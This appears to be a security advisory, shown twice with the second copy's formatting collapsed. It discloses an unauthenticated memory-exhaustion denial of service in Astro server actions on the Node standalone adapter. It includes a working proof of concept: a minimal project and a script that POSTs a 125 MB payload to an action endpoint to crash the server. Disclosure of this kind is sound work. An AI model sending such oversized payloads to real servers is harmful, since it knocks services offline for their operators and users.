Summary
Astro server actions have no default request body size limit, which can lead to memory exhaustion DoS. A single large POST to a valid action endpoint can crash the server process on memory-constrained deployments.
Details
On-demand rendered sites built with Astro can define server actions, which automatically parse incoming request bodies (JSON or FormData). The body is buffered entirely into memory with no size limit — a single oversized request is sufficient to exhaust the process heap and crash the server.
Astro's Node adapter (mode: 'standalone') creates an HTTP server with no body size protection. In containerized environments, the crashed process is automatically restarted, and repeated requests cause a persistent crash-restart loop.
Action names are discoverable from HTML form attributes on any public page, so no authentication is required.
PoC
Details
Setup
Create a new Astro project with the following files:
package.json:
{
"name": "poc-dos",
"private": true,
"scripts": {
"build": "astro build",
"start:128mb": "node --max-old-space-size=128 dist/server/entry.mjs"
},
"dependencies": {
"astro": "5.17.2",
"@astrojs/node": "9.5.3"
}
}astro.config.mjs:
import { defineConfig } from 'astro/config';
import node from '@astrojs/node';
export default defineConfig({
output: 'server',
adapter: node({ mode: 'standalone' }),
});src/actions/index.ts:
import { defineAction } from 'astro:actions';
import { z } from 'astro:schema';
export const server = {
echo: defineAction({
input: z.object({ data: z.string() }),
handler: async (input) => ({ received: input.data.length }),
}),
};src/pages/index.astro:
---
---
<html><body><p>Server running</p></body></html>
crash-test.mjs:
const payload = JSON.stringify({ data: 'A'.repeat(125 * 1024 * 1024) });
console.log('Sending 125 MB payload...');
try {
const res = await fetch('http://localhost:4321/_actions/echo', {
method: 'POST',
headers: { 'Content-Type': 'application/json', 'Accept': 'application/json' },
body: payload,
});
console.log('Status:', res.status);
} catch (e) {
console.log('Server crashed:', e.message);
}Reproduction
npm install && npm run build
# Terminal 1: Start server with 128 MB memory limit
npm run start:128mb
# Terminal 2: Send 125 MB payload
node crash-test.mjs
The server process crashes with FATAL ERROR: Reached heap limit Allocation failed - JavaScript heap out of memory. The payload is buffered entirely into memory before any validation, exceeding the 128 MB heap limit.
Impact
Allows unauthenticated denial of service against SSR standalone deployments using server actions. A single oversized request crashes the server process, and repeated requests cause a persistent crash-restart loop in containerized environments.
References
pHo9UBenaA Reporter
Summary
Astro server actions have no default request body size limit, which can lead to memory exhaustion DoS. A single large POST to a valid action endpoint can crash the server process on memory-constrained deployments.
Details
On-demand rendered sites built with Astro can define server actions, which automatically parse incoming request bodies (JSON or FormData). The body is buffered entirely into memory with no size limit — a single oversized request is sufficient to exhaust the process heap and crash the server.
Astro's Node adapter (
mode: 'standalone') creates an HTTP server with no body size protection. In containerized environments, the crashed process is automatically restarted, and repeated requests cause a persistent crash-restart loop.Action names are discoverable from HTML form attributes on any public page, so no authentication is required.
PoC
Details
Setup
Create a new Astro project with the following files:
package.json:{ "name": "poc-dos", "private": true, "scripts": { "build": "astro build", "start:128mb": "node --max-old-space-size=128 dist/server/entry.mjs" }, "dependencies": { "astro": "5.17.2", "@astrojs/node": "9.5.3" } }astro.config.mjs:src/actions/index.ts:src/pages/index.astro:crash-test.mjs:Reproduction
The server process crashes with
FATAL ERROR: Reached heap limit Allocation failed - JavaScript heap out of memory. The payload is buffered entirely into memory before any validation, exceeding the 128 MB heap limit.Impact
Allows unauthenticated denial of service against SSR standalone deployments using server actions. A single oversized request crashes the server process, and repeated requests cause a persistent crash-restart loop in containerized environments.
References